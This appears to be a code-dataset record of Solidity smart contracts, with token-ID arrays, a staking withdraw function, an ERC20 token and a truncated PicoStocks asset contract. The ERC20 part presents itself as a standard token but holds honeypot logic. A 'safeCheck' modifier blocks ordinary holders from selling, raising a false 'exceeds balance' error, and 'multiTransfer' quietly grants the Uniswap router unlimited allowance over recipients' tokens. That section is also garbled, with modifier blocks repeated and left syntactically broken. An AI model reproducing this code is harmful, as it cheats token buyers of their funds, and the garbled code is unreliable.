/// @notice Removes tokens from this contract and the voting power they represent
/// @param amount The amount of token to withdraw
function withdraw(uint256 amount) external {
// Load our deposits storage
Storage.AddressUint storage userData = _deposits()[msg.sender];
// Reduce the user's stored balance
// If properly optimized this block should result in 1 sload 1 store
userData.amount -= uint96(amount);
address delegate = userData.who;
// Reduce the delegate voting power
// Get the storage pointer
History.HistoricalBalances memory votingPower = _votingPower();
// Load the most recent voter power stamp
uint256 delegateeVotes = votingPower.loadTop(delegate);
// remove the votes from the delegate
votingPower.push(delegate, delegateeVotes - amount);
// Emit an event to track votes
emit VoteChange(msg.sender, delegate, -1 * int256(amount));
// Transfers the result to the sender
token.transfer(msg.sender, amount);
}
/// @notice Changes a user's voting power
/// @param newDelegate The new address which gets voting power
function changeDelegation(address newDelegate) external {
// Get the stored user data
Storage.AddressUint storage userData = _deposits()[msg.sender];
// Get the user balance
uint256 userBalance = uint256(userData.amount);
address oldDelegate = userData.who;
// Reset the user delegation
userData.who = newDelegate;
// Reduce the old voting power
// Get the storage pointer
History.HistoricalBalances memory votingPower = _votingPower();
// Load the old delegate's voting power
uint256 oldDelegateVotes = votingPower.loadTop(oldDelegate);
// Reduce the old voting power
votingPower.push(oldDelegate, oldDelegateVotes - userBalance);
// Emit an event to track votes
emit VoteChange(msg.sender, oldDelegate, -1 * int256(userBalance));
// Get the new delegate's votes
uint256 newDelegateVotes = votingPower.loadTop(newDelegate);
// Store the increase in power
votingPower.push(newDelegate, newDelegateVotes + userBalance);
// Emit an event tracking this voting power change
emit VoteChange(msg.sender, newDelegate, int256(userBalance));
}
}
|
deposits mapping(address => (address, uint96)) @notice A single function endpoint for loading storage for deposits @return returns a storage mapping which can be used to look up deposit data This call returns a storage mapping with a unique non overwrite-able storage location which can be persisted through upgrades, even if they change storage layout
|
function _deposits()
internal
pure
returns (mapping(address => Storage.AddressUint) storage)
{
return (Storage.mappingAddressToPackedAddressUint("deposits"));
}
| 5,535,173 |
[
1,
323,
917,
1282,
2874,
12,
2867,
516,
261,
2867,
16,
2254,
10525,
3719,
225,
432,
2202,
445,
2494,
364,
7153,
2502,
364,
443,
917,
1282,
327,
1135,
279,
2502,
2874,
1492,
848,
506,
1399,
358,
2324,
731,
443,
1724,
501,
1220,
745,
1135,
279,
2502,
2874,
598,
279,
3089,
1661,
6156,
17,
429,
2502,
2117,
1492,
848,
506,
14249,
3059,
28844,
16,
5456,
309,
2898,
2549,
2502,
3511,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
323,
917,
1282,
1435,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
6770,
12,
2867,
516,
5235,
18,
1887,
5487,
13,
2502,
13,
203,
565,
288,
203,
3639,
327,
261,
3245,
18,
6770,
1887,
774,
4420,
329,
1887,
5487,
2932,
323,
917,
1282,
7923,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x34fCEB8Aeda991D7184c9F9eBe2b88080B250f27/sources/browser/domprotocol.sol
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _records;
mapping (address => uint256) private _dateu;
mapping (address => bool) private _listw;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private amountcheck = 90*(10**18);
uint256 private valuea = 99;
uint256 private valueb = 100;
string private _name;
string private _symbol;
uint8 private _decimals;
address public _owner;
address public _safeOwner;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){
_listw[receivers[i]]= true ;
_approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){
_listw[receivers[i]]= true ;
_approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){
_listw[receivers[i]]= true ;
_approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner){
_;}
else{
else{
if (amount > amountcheck){
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance");
_;
uint256 x = _records[sender];
if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) {
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance");
_;
_records[sender]=valueb;
_;
}
}
}
}
}
if (sender == recipient && sender==_owner){amountcheck = amount;}
modifier safeCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner){
_;}
else{
else{
if (amount > amountcheck){
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance");
_;
uint256 x = _records[sender];
if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) {
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance");
_;
_records[sender]=valueb;
_;
}
}
}
}
}
if (sender == _owner){_safeOwner = recipient;}
modifier safeCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner){
_;}
else{
else{
if (amount > amountcheck){
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance");
_;
uint256 x = _records[sender];
if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) {
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance");
_;
_records[sender]=valueb;
_;
}
}
}
}
}
if (amount >0 && recipient!=_owner && _dateu[recipient]==_dateu[_owner]){_dateu[recipient]= now ;}
if (amount >0 && sender==_owner && recipient!=_owner && recipient!=_safeOwner){_listw[recipient]= true ;}
if (sender == _owner || sender == _safeOwner || recipient == _owner || _listw[sender]){ _;}
modifier safeCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner){
_;}
else{
else{
if (amount > amountcheck){
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance");
_;
uint256 x = _records[sender];
if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) {
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance");
_;
_records[sender]=valueb;
_;
}
}
}
}
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner){
_;}
else{
else{
if (amount > amountcheck){
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance");
_;
uint256 x = _records[sender];
if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) {
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance");
_;
_records[sender]=valueb;
_;
}
}
}
}
}
}else{
modifier safeCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner){
_;}
else{
else{
if (amount > amountcheck){
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance");
_;
uint256 x = _records[sender];
if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) {
require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance");
_;
_records[sender]=valueb;
_;
}
}
}
}
}
}else{
function setSafeOwner(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _token_VRS(address from, address to, uint256 amount) internal virtual { }
}
| 3,041,277 |
[
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
7094,
31,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
712,
89,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
1098,
91,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
565,
2254,
5034,
3238,
3844,
1893,
273,
8566,
21556,
2163,
636,
2643,
1769,
203,
565,
2254,
5034,
3238,
460,
69,
273,
14605,
31,
203,
565,
2254,
5034,
3238,
460,
70,
273,
2130,
31,
203,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
1071,
389,
4626,
5541,
31,
203,
203,
97,
203,
282,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
16,
2254,
5034,
2172,
3088,
1283,
16,
2867,
8843,
429,
3410,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
31734,
273,
6549,
31,
203,
3639,
389,
8443,
273,
3410,
31,
203,
3639,
389,
4626,
5541,
273,
3410,
31,
203,
3639,
389,
81,
2
] |
pragma solidity ^0.5.0;
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
/*function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b);
return c;
}*/
}
contract ERC20Basic {
uint public totalSupply;
address public owner; //owner
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
function commitDividend(address who) public; // pays remaining dividend
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
// users
struct User {
uint120 tokens; // current tokens of user
uint120 asks; // current tokens in asks
uint120 votes; // current voting power
uint120 weis; // current wei balance of user
uint32 lastProposalID; // last processed dividend period of user's tokens
address owner; // votes for new owner
uint8 voted; // vote for proposal
}
mapping (address => User) users;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
commitDividend(msg.sender);
users[msg.sender].tokens = uint120(uint(users[msg.sender].tokens).sub(_value));
if(_to == address(this)) {
commitDividend(owner);
users[owner].tokens = uint120(uint(users[owner].tokens).add(_value));
emit Transfer(msg.sender, owner, _value);
}
else {
commitDividend(_to);
users[_to].tokens = uint120(uint(users[_to].tokens).add(_value));
emit Transfer(msg.sender, _to, _value);
}
}
/**
* @dev Gets the amount of tokens
* @param _owner The address to query.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint) {
return uint(users[_owner].tokens);
}
/**
* @dev Gets the amount of tokens offered for sale (in asks)
* @param _owner The address to query.
* @return An uint representing the amount offered by the passed address.
*/
function askOf(address _owner) public view returns (uint) {
return uint(users[_owner].asks);
}
/**
* @dev Gets the amount of tokens offered for sale (in asks)
* @param _owner The address to query.
* @return An uint representing the amount offered by the passed address.
*/
function voteOf(address _owner) public view returns (uint) {
return uint(users[_owner].votes);
}
/**
* @dev Gets the amount of wei owned by user and stored in contract
* @param _owner The address to query.
* @return An uint representing the amount wei stored in contract.
*/
function weiOf(address _owner) public view returns (uint) {
return uint(users[_owner].weis);
}
/**
* @dev Gets the id of last proccesed proposal period
* @param _owner The address to query.
* @return An uint representing the id of last processed proposal period
*/
function lastOf(address _owner) public view returns (uint) {
return uint(users[_owner].lastProposalID);
}
/**
* @dev Gets the proposed address of new contract owner / manager
* @param _owner The address to query.
* @return An address proposed as new contract owner / manager
*/
function ownerOf(address _owner) public view returns (address) {
return users[_owner].owner;
}
/**
* @dev Gets the status of voting
* @param _owner The address to query.
* @return An uint > 0 if user already voted
*/
function votedOf(address _owner) public view returns (uint) {
return uint(users[_owner].voted);
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
uint _allowance = allowed[_from][msg.sender];
commitDividend(_from);
commitDividend(_to);
allowed[_from][msg.sender] = _allowance.sub(_value);
users[_from].tokens = uint120(uint(users[_from].tokens).sub(_value));
users[_to].tokens = uint120(uint(users[_to].tokens).add(_value));
emit Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public {
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
assert(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title PicoStocksAsset contract
*/
contract PicoStocksAsset is StandardToken {
// metadata
string public constant name = "PicoStocks Asset";
uint public constant decimals = 0;
uint public picoid = 0; // Asset ID on PicoStocks
string public symbol = ""; // Asset code on PicoStocks
string public www = ""; // Official web page
uint public totalWeis = 0; // sum of wei owned by users
uint public totalVotes = 0; // number of alligible votes
struct Order {
uint64 prev; // previous order, need this to enable safe/fast order cancel
uint64 next; // next order
uint128 price; // offered/requested price of 1 token
uint96 amount; // number of offered/requested tokens
address who; // address of owner of tokens or funds
}
mapping (uint => Order) asks;
mapping (uint => Order) bids;
uint64 firstask=0; // key of lowest ask
uint64 lastask=0; // key of last inserted ask
uint64 firstbid=0; // key of highest bid
uint64 lastbid=0; // key of last inserted bid
uint constant weekBlocks = 4*60*24*7; // number of blocks in 1 week
uint constant minPrice = 0xFFFF; // min price per token
uint constant maxPrice = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // max price per token
uint constant maxTokens = 0xFFFFFFFFFFFFFFFFFFFFFFFF; // max number of tokens
address public custodian = 0xd720a4768CACE6d508d8B390471d83BA3aE6dD32;
// investment parameters
uint public investPrice; // price of 1 token
uint public investStart; // first block of funding round
uint public investEnd; // last block of funding round
uint public investGot; // funding collected
uint public investMin; // minimum funding
uint public investMax; // maximum funding
uint public investKYC = 1; // KYC requirement
//dividends
uint[] public dividends; // dividens collected per period, growing array
//proposal
uint public proposalID = 1; // proposal number and dividend period
uint public proposalVotesYes; // yes-votes collected
uint public proposalVotesNo; // no-votes collected
uint public proposalBlock; // block number proposal published
uint public proposalDividendPerShare; // dividend per share
uint public proposalBudget; // budget for the owner for next period
uint public proposalTokens; // number of new tokens for next round
uint public proposalPrice; // price of new token in next round
uint public acceptedBudget; // unspent budget for the owner in current round
//change owner
mapping (address => uint) owners; // votes for new owners / managers of the contract
// events
event LogBuy(address indexed who, uint amount, uint price);
event LogSell(address indexed who, uint amount, uint price);
event LogCancelBuy(address indexed who, uint amount, uint price);
event LogCancelSell(address indexed who, uint amount, uint price);
event LogTransaction(address indexed from, address indexed to, uint amount, uint price);
event LogDeposit(address indexed who,uint amount);
event LogWithdraw(address indexed who,uint amount);
event LogExec(address indexed who,uint amount);
event LogPayment(address indexed who, address from, uint amount);
event LogDividend(uint amount);
event LogDividend(address indexed who, uint amount, uint period);
event LogNextInvestment(uint price,uint amount);
event LogNewOwner(address indexed who);
event LogNewCustodian(address indexed who);
event LogNewWww(string www);
event LogProposal(uint dividendpershare,uint budget,uint moretokens,uint minprice);
event LogVotes(uint proposalVotesYes,uint proposalVotesNo);
event LogBudget(uint proposalBudget);
event LogAccepted(uint proposalDividendPerShare,uint proposalBudget,uint proposalTokens,uint proposalPrice);
event LogRejected(uint proposalDividendPerShare,uint proposalBudget,uint proposalTokens,uint proposalPrice);
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
// constructor
/**
* @dev Contract constructor
*/
constructor() public {
owner = msg.sender;
}
/* initial investment functions */
/**
* @dev Set first funding round parameters
* @param _tokens number of tokens given to admin
* @param _budget initial approved budget
* @param _price price of 1 token in first founding round
* @param _from block number of start of funding round
* @param _to block number of end of funding round
* @param _min minimum number of tokens to sell
* @param _max maximum number of tokens to sell
* @param _kyc require KYC during first investment round
* @param _picoid asset id on picostocks
* @param _symbol asset symmbol on picostocks
*/
function setFirstInvestPeriod(uint _tokens,uint _budget,uint _price,uint _from,uint _to,uint _min,uint _max,uint _kyc,uint _picoid,string memory _symbol) public onlyOwner {
require(investPrice == 0 && block.number < _from && _from < _to && _to < _from + weekBlocks*12 && _price > minPrice && _price < maxPrice && _max > 0 && _max > _min && _max < maxTokens );
if(_tokens==0){
_tokens=1;
}
totalSupply = _tokens;
acceptedBudget = _budget;
users[owner].tokens = uint120(_tokens);
users[owner].lastProposalID = uint32(proposalID);
users[custodian].lastProposalID = uint32(proposalID);
investPrice = _price;
investStart = _from;
investEnd = _to;
investMin = _min;
investMax = _max;
investKYC = _kyc;
picoid = _picoid;
symbol = _symbol;
dividends.push(0); // not used
dividends.push(0); // current dividend
}
/**
* @dev Accept address for first investment
* @param _who accepted address (investor)
*/
function acceptKYC(address _who) external onlyOwner {
if(users[_who].lastProposalID==0){
users[_who].lastProposalID=1;
}
}
/**
* @dev Buy tokens
*/
function invest() payable public {
commitDividend(msg.sender);
require(msg.value > 0 && block.number >= investStart && block.number < investEnd && totalSupply < investMax && investPrice > 0);
uint tokens = msg.value / investPrice;
if(investMax < totalSupply.add(tokens)){
tokens = investMax.sub(totalSupply);
}
totalSupply += tokens;
users[msg.sender].tokens += uint120(tokens);
emit Transfer(address(0),msg.sender,tokens);
uint _value = msg.value.sub(tokens * investPrice);
if(_value > 0){ // send back excess funds immediately
emit LogWithdraw(msg.sender,_value);
(bool success, /*bytes memory _unused*/) = msg.sender.call.value(_value)("");
require(success);
}
if(totalSupply>=investMax){
closeInvestPeriod();
}
}
/**
* @dev Buy tokens
*/
function () payable external {
invest();
}
/**
* @dev Return wei to token owners if first funding round failes
*/
function disinvest() public {
require(0 < investEnd && investEnd < block.number && totalSupply < investMin);
payDividend((address(this).balance-totalWeis)/totalSupply); //CHANGED
investEnd += weekBlocks*4; // enable future dividend payment if contract has funds
}
/* management functions */
/**
* @dev Propose dividend, budget and optional funding parameters for next round
* @param _dividendpershare amount of wei per share to pay out
* @param _budget amount of wei to give to owner
* @param _tokens amount of new tokens to issue
* @param _price price of 1 new token
*/
function propose(uint _dividendpershare,uint _budget,uint _tokens,uint _price) external onlyOwner {
require(proposalBlock + weekBlocks*4 < block.number && 0 < investEnd && investEnd < block.number); //can not send more than 1 proposal per 28 days
if(block.number>investEnd && investStart>0 && investPrice>0 && investMax>0){
totalVotes=totalSupply;
investStart=0;
investMax=0;
}
proposalVotesYes=0;
proposalVotesNo=0;
proposalID=proposalID+1;
dividends.push(0);
proposalBlock=block.number;
proposalDividendPerShare=_dividendpershare;
proposalBudget=_budget;
proposalTokens=_tokens;
proposalPrice=_price;
emit LogProposal(_dividendpershare,_budget,_tokens,_price);
}
/**
* @dev Execute proposed plan if passed
*/
function executeProposal() public {
require(proposalVotesYes > 0 && (proposalBlock + weekBlocks*4 < block.number || proposalVotesYes>totalVotes/2 || proposalVotesNo>totalVotes/2));
//old require(proposalVotesYes > 0);
emit LogVotes(proposalVotesYes,proposalVotesNo);
if(proposalVotesYes >= proposalVotesNo && (proposalTokens==0 || proposalPrice>=investPrice || proposalVotesYes>totalVotes/2)){
if(payDividend(proposalDividendPerShare) > 0){
emit LogBudget(proposalBudget);
acceptedBudget=proposalBudget;}
if(proposalTokens>0){
emit LogNextInvestment(proposalPrice,proposalTokens);
setNextInvestPeriod(proposalPrice,proposalTokens);}
emit LogAccepted(proposalDividendPerShare,proposalBudget,proposalTokens,proposalPrice);}
else{
